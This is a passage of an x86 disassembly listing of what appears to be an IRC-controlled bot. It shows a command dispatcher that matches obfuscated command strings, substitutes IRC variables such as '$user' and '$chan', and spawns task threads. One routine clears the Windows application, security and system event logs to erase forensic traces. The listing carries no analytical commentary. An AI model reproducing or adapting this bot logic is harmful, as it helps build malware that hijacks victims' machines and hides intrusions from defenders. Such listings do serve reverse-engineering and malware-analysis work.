		lea	eax, [ebp+var_26EE0]
		push	eax
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 0Ch


loc_40AFFE:				; CODE XREF: sub_40A9FE+5E3j
		cmp	[ebp+arg_18], 0
		jz	short loc_40B018


loc_40B004:				; CODE XREF: sub_40A9FE+5E9j
		lea	eax, [ebp+var_26EE0]
		push	eax
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 0Ch


loc_40B018:				; CODE XREF: sub_40A9FE+5C3j
					; sub_40A9FE+604j
		inc	ebx
		add	edi, 0B8h
		cmp	ebx, dword_437330
		jl	short loc_40AFBE
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40B02C:				; CODE XREF: sub_40A9FE+56Bj
		push	dword ptr [ebx]
		push	offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B142
		cmp	[ebx+4], esi
		jz	loc_40B101
		mov	eax, [ebx+8]
		cmp	eax, esi
		jz	loc_40B101
		push	eax
		lea	eax, [ebp+var_2D24]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		push	3
		pop	edi
		cmp	[ebp+arg_4], edi
		jle	short loc_40B0A8


loc_40B06E:				; CODE XREF: sub_40A9FE+6A8j
		mov	eax, [ebx+edi*4]
		cmp	eax, esi
		jz	short loc_40B0A2
		push	eax
		lea	eax, [ebp+var_62D0]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_62D0]
		push	104h
		push	eax
		lea	eax, [ebp+var_2D24]
		push	eax
		call	sub_4299E0
		add	esp, 18h


loc_40B0A2:				; CODE XREF: sub_40A9FE+675j
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_40B06E


loc_40B0A8:				; CODE XREF: sub_40A9FE+66Ej
		lea	eax, [ebp+var_2D24]
		push	eax
		push	dword ptr [ebx+4]
		call	sub_418D90
		cmp	[ebp+arg_14], 0
		mov	esi, [ebp+arg_C]
		pop	ecx
		mov	edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		pop	ecx
		mov	ebx, offset aSAddedAliasS ; "%s	Added Alias: %s"
		jnz	short loc_40B0E9
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B0F3
		lea	eax, [ebp+var_2D24]
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40B0E9:				; CODE XREF: sub_40A9FE+6CCj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B0F3:				; CODE XREF: sub_40A9FE+6D2j
		lea	eax, [ebp+var_2D24]


loc_40B0F9:				; CODE XREF: sub_40A9FE+2445j
					; sub_40A9FE+4B84j ...
		push	eax


loc_40B0FA:				; CODE XREF: sub_40A9FE+D3Bj
					; sub_40A9FE+83BAj
		push	edi


loc_40B0FB:				; CODE XREF: sub_40A9FE+171Ej
					; sub_40A9FE+4929j ...
		push	ebx
		jmp	loc_414791
; ---------------------------------------------------------------------------


loc_40B101:				; CODE XREF: sub_40A9FE+642j
					; sub_40A9FE+64Dj
		cmp	[ebp+arg_14], 0
		mov	edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		mov	esi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_40B130
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B13A
		mov	eax, [ebp+arg_C]
		push	ebx
		push	edi
		push	esi
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40B130:				; CODE XREF: sub_40A9FE+716j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B13A:				; CODE XREF: sub_40A9FE+71Cj
		push	ebx
		push	edi
		push	esi
		jmp	loc_40AE5F
; ---------------------------------------------------------------------------


loc_40B142:				; CODE XREF: sub_40A9FE+639j
		and	[ebp+var_4], 0
		cmp	dword_437330, 0
		mov	esi, [ebp+arg_C]
		jle	loc_40B288
		mov	[ebp+arg_68], offset dword_4570D8


loc_40B15D:				; CODE XREF: sub_40A9FE+884j
		mov	eax, [ebp+arg_68]
		push	dword ptr [ebx]
		add	eax, 0FFFFFFE8h
		push	eax
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B26F
		movsx	eax, byte_4439A0
		push	[ebp+arg_68]
		push	eax
		lea	eax, [ebp+var_9A20]
		push	offset dword_4416C4
		push	eax
		call	sub_429B03
		mov	ecx, [ebp+arg_10]
		add	esp, 10h
		call	sub_41DB58
		push	eax
		lea	eax, [ebp+var_9A20]
		push	offset off_4416C0
		push	eax
		call	sub_4279FA
		mov	ecx, [ebp+arg_10]
		add	esp, 0Ch
		call	sub_41DB5C
		push	eax
		lea	eax, [ebp+var_9A20]
		push	offset aUser_0	; "$user"
		push	eax
		call	sub_4279FA
		push	offset dword_443F14
		lea	eax, [ebp+var_9A20]
		push	offset aChan	; "$chan"
		push	eax
		call	sub_4279FA
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_9A20]
		push	offset a1_0	; "$1"
		push	eax
		call	sub_4279FA
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_9A20]
		push	offset a2	; "$2"
		push	eax
		call	sub_4279FA
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_9A20]
		push	offset a3	; "$3"
		push	eax
		call	sub_4279FA
		push	dword ptr [ebx+10h]
		lea	eax, [ebp+var_9A20]
		push	offset a4	; "$4"
		push	eax
		call	sub_4279FA
		add	esp, 48h
		lea	eax, [ebp+var_9A20]
		push	dword ptr [ebx+14h]
		push	offset a5	; "$5"
		push	eax
		call	sub_4279FA
		push	dword ptr [ebx+18h]
		lea	eax, [ebp+var_9A20]
		push	offset a6	; "$6"
		push	eax
		call	sub_4279FA
		push	0
		lea	eax, [ebp+var_9A20]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	eax
		call	sub_40A935
		add	esp, 2Ch


loc_40B26F:				; CODE XREF: sub_40A9FE+76Cj
		inc	[ebp+var_4]
		add	[ebp+arg_68], 0B8h
		mov	eax, [ebp+var_4]
		cmp	eax, dword_437330
		jl	loc_40B15D


loc_40B288:				; CODE XREF: sub_40A9FE+752j
		push	dword ptr [ebx]
		push	offset aEuior0ay2w7__0 ; "EUIOR0ay2w7."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B403
		mov	ebx, [ebx+4]
		test	ebx, ebx
		jz	loc_40B3A3
		push	ebx
		call	sub_42A100
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jl	loc_40B35D
		cmp	eax, 3
		jge	loc_40B35D
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_41C704
		test	eax, eax
		mov	ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		jz	short loc_40B31D
		cmp	[ebp+arg_14], 0
		mov	edi, offset aEuior0ay2w7_ ; "EUIOR0ay2w7."
		jnz	short loc_40B2FF
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B309
		push	edi
		push	[ebp+arg_C]
		push	offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0"
		push	ebx
		push	offset aSSIS	; "%s %s (%i) %s"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_40B2FF:				; CODE XREF: sub_40A9FE+8DCj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B309:				; CODE XREF: sub_40A9FE+8E2j
		push	edi
		push	[ebp+arg_C]
		push	offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0"
		push	ebx
		push	offset aSSIS	; "%s %s (%i) %s"
		jmp	loc_414988
; ---------------------------------------------------------------------------


loc_40B31D:				; CODE XREF: sub_40A9FE+8D1j
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSI ; "%s %s (%i)"
		jnz	short loc_40B346
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B350
		push	[ebp+arg_C]
		push	offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"...
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B346:				; CODE XREF: sub_40A9FE+928j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B350:				; CODE XREF: sub_40A9FE+92Ej
		push	[ebp+arg_C]
		push	offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"...
		jmp	loc_41491B
; ---------------------------------------------------------------------------


loc_40B35D:				; CODE XREF: sub_40A9FE+8B2j
					; sub_40A9FE+8BBj
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSI ; "%s %s (%i)"
		mov	ebx, offset aRnyaa0crtpo0yy ; "RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6"...
		jnz	short loc_40B38B
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B395
		push	[ebp+arg_C]
		push	ebx
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B38B:				; CODE XREF: sub_40A9FE+96Dj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B395:				; CODE XREF: sub_40A9FE+973j
		push	[ebp+arg_C]


loc_40B398:				; CODE XREF: sub_40A9FE+1BC9j
		push	ebx
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_40B3A3:				; CODE XREF: sub_40A9FE+8A0j
		push	dword ptr [esi+8]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_41C65E
		cmp	eax, 0FFFFFFFFh
		jz	loc_414995
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		mov	edi, offset aEuior0ay2w7_ ; "EUIOR0ay2w7."
		jnz	short loc_40B3E9
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B3F3
		push	edi
		push	dword ptr [esi]
		push	ebx
		push	offset aSS_1	; "%s %s"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B3E9:				; CODE XREF: sub_40A9FE+9CCj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B3F3:				; CODE XREF: sub_40A9FE+9D2j
		mov	esi, [esi]
		push	edi
		push	esi
		push	ebx
		push	offset aSS_1	; "%s %s"
		push	esi
		jmp	loc_41491F
; ---------------------------------------------------------------------------


loc_40B403:				; CODE XREF: sub_40A9FE+895j
		push	dword ptr [ebx]
		push	offset aPdazx1odsoh0 ; "PDazX1oDSOh0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40B420
		push	dword ptr [esi+0Ch]
		mov	ecx, [ebp+arg_10]
		call	sub_41C7C5
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40B420:				; CODE XREF: sub_40A9FE+A10j
		push	offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
		push	dword ptr [ebx]
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B55A
		mov	ebx, [ebx+4]
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_414995
		push	ebx
		call	sub_4155AA
		push	eax
		push	offset dword_443E8C
		call	sub_42B260
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_414995
		mov	ebx, [ebp+arg_20]
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	3
		push	edi
		push	ebx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [esi+0Ch]
		call	sub_423654
		mov	eax, [ebp+arg_14]
		add	esp, 20h
		mov	[ebp+var_E64], eax
		mov	[ebp+var_E68], ebx
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_F14]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	offset aUnsecured ; "Unsecured"
		push	offset aJvatg1988z81 ; "jVATg1988z81"
		push	offset aSS_	; "%s %s."
		push	3
		mov	[ebp+var_F18], eax
		mov	[ebp+var_E84], edi
		mov	[ebp+var_E80], edi
		call	sub_4234A7
		add	esp, 10h
		mov	[ebp+var_E94], eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_F18]
		push	edi
		push	eax
		push	offset sub_422009
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_E94]
		mov	ebx, dword_437190
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	short loc_40B510
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B504:				; CODE XREF: sub_40A9FE+B10j
		push	32h
		call	ebx ; dword_437190


loc_40B508:				; CODE XREF: sub_40A9FE+B04j
		cmp	[ebp+var_E5C], edi
		jz	short loc_40B504


loc_40B510:				; CODE XREF: sub_40A9FE+B02j
		push	3E8h
		call	ebx ; dword_437190
		push	edi
		push	edi
		call	sub_427DAA
		pop	ecx
		mov	eax, offset dword_43D664
		pop	ecx
		push	eax
		push	eax
		push	dword ptr [esi]
		push	offset a6f3al1m_ydx05y ; "6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50peq"...
		push	offset aSSS@S	; "%s [%s!%s@%s]"
		push	[ebp+arg_10]
		call	sub_41CAB4
		add	esp, 18h
		push	3E8h
		call	ebx ; dword_437190
		mov	ecx, [ebp+arg_10]
		call	sub_41CA82
		call	dword_456E58	; WSACleanup
		push	edi
		call	dword_4370D4	; ExitProcess


loc_40B55A:				; CODE XREF: sub_40A9FE+A2Dj
		push	dword ptr [ebx]
		push	offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B66C
		xor	ebx, ebx
		cmp	dword_457034, ebx
		jnz	loc_40B636
		mov	edi, 94h
		lea	eax, [ebp+var_2978]
		push	edi
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_2978]
		mov	[ebp+var_2978],	edi
		push	eax
		call	dword_437050	; GetVersionExA
		cmp	[ebp+var_2968],	2
		mov	dword ptr [ebp+var_14+4], offset aApplication ;	"application"
		mov	dword ptr [ebp+var_C], offset aSecurity	; "security"
		mov	dword ptr [ebp+var_C+4], offset	aSystem	; "system"
		mov	[ebp+arg_C], ebx
		jnz	short loc_40B5F4
		xor	edi, edi


loc_40B5C5:				; CODE XREF: sub_40A9FE+BF4j
		push	dword ptr [ebp+edi*4+var_14+4]
		push	0
		call	dword_456E90	; OpenEventLogA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40B5EE
		push	0
		push	ebx
		call	dword_456EA0	; ClearEventLogA
		test	eax, eax
		jz	short loc_40B5E7
		inc	[ebp+arg_C]


loc_40B5E7:				; CODE XREF: sub_40A9FE+BE4j
		push	ebx
		call	dword_456E4C	; CloseEventLog


loc_40B5EE:				; CODE XREF: sub_40A9FE+BD7j
		inc	edi
		cmp	edi, 3
		jl	short loc_40B5C5


loc_40B5F4:				; CODE XREF: sub_40A9FE+BC3j
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	loc_414995
		cmp	[ebp+arg_18], eax
		jnz	loc_414995
		cmp	[ebp+arg_C], eax
		mov	edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		jle	short loc_40B62B
		push	3
		push	[ebp+arg_C]
		push	edi
		push	offset aSClearedDDSysl ; "%s Cleared [%d/%d] syslogs"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B62B:				; CODE XREF: sub_40A9FE+C12j
		push	edi
		push	offset aSFailedToClear ; "%s Failed to clear syslogs"
		jmp	loc_40F0E9
; ---------------------------------------------------------------------------


loc_40B636:				; CODE XREF: sub_40A9FE+B75j
		mov	edi, offset aSAdvapi_dllNot ; "%s Advapi.dll not loaded"


loc_40B63B:				; CODE XREF: sub_40A9FE+287Cj
		mov	ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"


loc_40B640:				; CODE XREF: sub_40A9FE+2832j
					; sub_40A9FE+283Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_40B65C
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B666
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_40B65C:				; CODE XREF: sub_40A9FE+C46j
		cmp	[ebp+arg_18], 0


loc_40B660:				; CODE XREF: sub_40A9FE+60AEj
		jz	loc_414995


loc_40B666:				; CODE XREF: sub_40A9FE+C4Cj
					; sub_40A9FE+6093j
		push	ebx
		jmp	loc_414743
; ---------------------------------------------------------------------------


loc_40B66C:				; CODE XREF: sub_40A9FE+B67j
		push	dword ptr [ebx]
		push	offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B92B
		mov	eax, [ebx+4]
		test	eax, eax
		jz	loc_40B7D7
		push	eax
		push	offset aE0idd0rdw2u ; "e0idD0RDw2U/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B7D7
		mov	eax, [ebx+8]
		test	eax, eax
		jz	loc_414995
		push	eax
		push	offset a86tb1fspjg0 ; "86tb/1FSpjg0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40B73E
		call	sub_4235A4
		test	eax, eax
		mov	[ebp+arg_C], eax
		mov	edi, offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		jle	short loc_40B704
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aSDS ; "%s %d %s"
		jnz	short loc_40B6EB
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B6F5
		push	offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B6EB:				; CODE XREF: sub_40A9FE+CCFj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B6F5:				; CODE XREF: sub_40A9FE+CD5j
		push	offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
		push	[ebp+arg_C]


loc_40B6FD:				; CODE XREF: sub_40A9FE+4FBCj
		push	edi


loc_40B6FE:				; CODE XREF: sub_40A9FE+8457j
		push	ebx
		jmp	loc_41491D
; ---------------------------------------------------------------------------


loc_40B704:				; CODE XREF: sub_40A9FE+CC4j
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aSS_1 ; "%s	%s"
		jnz	short loc_40B72A
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B734
		push	offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40B72A:				; CODE XREF: sub_40A9FE+D0Fj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B734:				; CODE XREF: sub_40A9FE+D15j
		push	offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
		jmp	loc_40B0FA
; ---------------------------------------------------------------------------


loc_40B73E:				; CODE XREF: sub_40A9FE+CAFj
		push	dword ptr [ebx+8]
		call	sub_42A100
		push	eax
		call	sub_42352C
		pop	ecx
		mov	edi, offset aSSS_0 ; "%s %s (%s)"
		test	eax, eax
		pop	ecx
		jz	short loc_40B793
		cmp	[ebp+arg_14], 0
		jnz	short loc_40B77F
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B789
		push	dword ptr [ebx+8]
		push	offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0"
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B77F:				; CODE XREF: sub_40A9FE+D5Dj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B789:				; CODE XREF: sub_40A9FE+D63j
		push	dword ptr [ebx+8]
		push	offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0"
		jmp	short loc_40B7CD
; ---------------------------------------------------------------------------


loc_40B793:				; CODE XREF: sub_40A9FE+D57j
		cmp	[ebp+arg_14], 0
		jnz	short loc_40B7BB
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B7C5
		push	dword ptr [ebx+8]
		push	offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0"
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B7BB:				; CODE XREF: sub_40A9FE+D99j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B7C5:				; CODE XREF: sub_40A9FE+D9Fj
		push	dword ptr [ebx+8]
		push	offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0"


loc_40B7CD:				; CODE XREF: sub_40A9FE+D93j
					; sub_40A9FE+E22j ...
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_40B7D7:				; CODE XREF: sub_40A9FE+C84j
					; sub_40A9FE+C94j
		push	6
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_40B822
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_40B812
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B81C
		push	eax
		push	ebx
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B812:				; CODE XREF: sub_40A9FE+DF6j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B81C:				; CODE XREF: sub_40A9FE+DFCj
		push	[ebp+arg_C]
		push	ebx
		jmp	short loc_40B7CD
; ---------------------------------------------------------------------------


loc_40B822:				; CODE XREF: sub_40A9FE+DE6j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_AFC], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_B00], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_AF8], eax
		test	eax, eax
		lea	eax, [ebp+var_BAC]
		jnz	short loc_40B84C
		push	dword ptr [esi+0Ch]
		jmp	short loc_40B84E
; ---------------------------------------------------------------------------


loc_40B84C:				; CODE XREF: sub_40A9FE+E47j
		push	dword ptr [esi]


loc_40B84E:				; CODE XREF: sub_40A9FE+E4Cj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_BB0], eax
		mov	ebx, [ebx+4]
		test	ebx, ebx
		jz	short loc_40B87A
		push	offset aNfknl0nqigy0 ; "NFKNL0nQigY0"
		push	ebx
		call	edi ; dword_437178
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_B1C], eax
		jmp	short loc_40B881
; ---------------------------------------------------------------------------


loc_40B87A:				; CODE XREF: sub_40A9FE+E65j
		and	[ebp+var_B1C], 0


loc_40B881:				; CODE XREF: sub_40A9FE+E7Aj
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	offset aSThreadList ; "%s Thread list"
		push	6
		call	sub_4234A7
		add	esp, 0Ch
		mov	[ebp+var_B2C], eax
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_BB0]
		push	edi
		push	eax
		push	offset sub_423719
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_B2C]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jnz	short loc_40B91E
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_40B8FF
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B909
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B8FF:				; CODE XREF: sub_40A9FE+EDDj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B909:				; CODE XREF: sub_40A9FE+EE3j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_40B7CD
; ---------------------------------------------------------------------------


loc_40B916:				; CODE XREF: sub_40A9FE+F26j
		push	32h
		call	dword_437190	; Sleep


loc_40B91E:				; CODE XREF: sub_40A9FE+ECCj
		cmp	[ebp+var_AF4], edi
		jz	short loc_40B916
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40B92B:				; CODE XREF: sub_40A9FE+C79j
		push	dword ptr [ebx]
		push	offset aG3obv_r6j7h ; "g3obv.r6j7H/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40BA72
		push	dword ptr [ebx+4]
		push	offset aDJstMfgyq_ ; "d/Jst/MFgyQ."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40BA72
		push	12h
		call	sub_42381F
		xor	edi, edi
		pop	ecx
		cmp	eax, edi
		mov	[ebp+arg_C], eax
		jle	short loc_40B9A4
		mov	ebx, offset aLtlec18us5q0 ; "LTLec18US5q0"


loc_40B964:				; CODE XREF: sub_40A9FE+1604j
					; sub_40A9FE+1748j ...
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_40B98D
		cmp	[ebp+arg_18], 0
		jnz	short loc_40B997
		push	[ebp+arg_C]
		push	offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40B98D:				; CODE XREF: sub_40A9FE+F6Fj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40B997:				; CODE XREF: sub_40A9FE+F75j
		push	[ebp+arg_C]
		push	offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		jmp	loc_41491B
; ---------------------------------------------------------------------------


loc_40B9A4:				; CODE XREF: sub_40A9FE+F5Fj
		cmp	[ebp+arg_2C], edi
		jz	short loc_40B9B0
		mov	ebx, [ebx+8]
		cmp	ebx, edi
		jnz	short loc_40B9B7


loc_40B9B0:				; CODE XREF: sub_40A9FE+FA9j
		push	offset dword_443F24
		jmp	short loc_40B9B8
; ---------------------------------------------------------------------------


loc_40B9B7:				; CODE XREF: sub_40A9FE+FB0j
		push	ebx


loc_40B9B8:				; CODE XREF: sub_40A9FE+FB7j
		lea	eax, [ebp+var_1AEC]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	ebx, offset aLtlec18us5q0 ; "LTLec18US5q0"
		push	offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		push	ebx
		push	offset aSS_	; "%s %s."
		push	12h
		mov	[ebp+var_1AF0],	eax
		call	sub_4234A7
		add	esp, 10h
		mov	[ebp+var_1A6C],	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1AF0]
		push	edi
		push	eax
		push	offset sub_425AE4
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1A6C]
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	loc_412FED
		jmp	short loc_40BA2B
; ---------------------------------------------------------------------------


loc_40BA23:				; CODE XREF: sub_40A9FE+1033j
		push	32h
		call	dword_437190	; Sleep


loc_40BA2B:				; CODE XREF: sub_40A9FE+1023j
		cmp	[ebp+var_1A34],	edi
		jz	short loc_40BA23
		cmp	[ebp+arg_14], 0
		mov	edi, offset aSStarted_ ; "%s started."
		jnz	short loc_40BA54
		cmp	[ebp+arg_18], 0
		jnz	short loc_40BA5E
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


